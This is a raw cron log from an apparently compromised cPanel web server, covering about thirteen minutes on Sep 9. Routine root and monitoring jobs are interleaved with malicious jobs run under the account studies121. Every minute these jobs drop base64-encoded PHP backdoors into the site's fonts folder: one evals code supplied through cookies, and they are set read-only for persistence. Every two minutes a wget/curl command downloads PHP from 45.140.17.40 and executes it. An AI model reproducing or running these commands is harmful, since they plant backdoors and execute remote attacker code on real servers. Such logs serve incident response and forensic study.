Sep  9 19:17:01 ip-184-168-122-23 CROND[1962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:18:01 ip-184-168-122-23 CROND[2043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:18:01 ip-184-168-122-23 CROND[2045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:18:01 ip-184-168-122-23 CROND[2046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:18:01 ip-184-168-122-23 CROND[2047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:18:01 ip-184-168-122-23 CROND[2048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:19:01 ip-184-168-122-23 CROND[2150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:19:01 ip-184-168-122-23 CROND[2152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:19:01 ip-184-168-122-23 CROND[2154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:19:01 ip-184-168-122-23 CROND[2153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:20:01 ip-184-168-122-23 CROND[2257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:20:01 ip-184-168-122-23 CROND[2260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:20:01 ip-184-168-122-23 CROND[2262]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 19:20:01 ip-184-168-122-23 CROND[2266]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:20:01 ip-184-168-122-23 CROND[2268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:20:01 ip-184-168-122-23 CROND[2270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:20:01 ip-184-168-122-23 CROND[2264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:20:01 ip-184-168-122-23 CROND[2265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:20:01 ip-184-168-122-23 CROND[2271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:21:01 ip-184-168-122-23 CROND[2441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:21:01 ip-184-168-122-23 CROND[2442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:21:01 ip-184-168-122-23 CROND[2443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:21:01 ip-184-168-122-23 CROND[2444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:22:01 ip-184-168-122-23 CROND[2522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:22:01 ip-184-168-122-23 CROND[2524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:22:01 ip-184-168-122-23 CROND[2526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:22:01 ip-184-168-122-23 CROND[2525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:22:01 ip-184-168-122-23 CROND[2527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:23:01 ip-184-168-122-23 CROND[2614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:23:01 ip-184-168-122-23 CROND[2615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:23:01 ip-184-168-122-23 CROND[2616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:23:01 ip-184-168-122-23 CROND[2617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:24:01 ip-184-168-122-23 CROND[2698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:24:01 ip-184-168-122-23 CROND[2700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:24:01 ip-184-168-122-23 CROND[2699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:24:01 ip-184-168-122-23 CROND[2701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:24:01 ip-184-168-122-23 CROND[2702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:25:01 ip-184-168-122-23 CROND[2792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:25:01 ip-184-168-122-23 CROND[2793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:25:01 ip-184-168-122-23 CROND[2794]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:25:01 ip-184-168-122-23 CROND[2796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:25:01 ip-184-168-122-23 CROND[2800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:25:01 ip-184-168-122-23 CROND[2798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:26:02 ip-184-168-122-23 CROND[2887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:26:02 ip-184-168-122-23 CROND[2890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:26:02 ip-184-168-122-23 CROND[2889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:26:02 ip-184-168-122-23 CROND[2891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:26:02 ip-184-168-122-23 CROND[2892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:27:01 ip-184-168-122-23 CROND[2980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:27:01 ip-184-168-122-23 CROND[2981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:27:01 ip-184-168-122-23 CROND[2982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:27:01 ip-184-168-122-23 CROND[2984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:28:01 ip-184-168-122-23 CROND[3143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:28:01 ip-184-168-122-23 CROND[3145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:28:01 ip-184-168-122-23 CROND[3146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:28:01 ip-184-168-122-23 CROND[3147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:28:01 ip-184-168-122-23 CROND[3149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:29:01 ip-184-168-122-23 CROND[3233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:29:01 ip-184-168-122-23 CROND[3231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:29:01 ip-184-168-122-23 CROND[3230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:29:01 ip-184-168-122-23 CROND[3232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:30:01 ip-184-168-122-23 CROND[3318]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
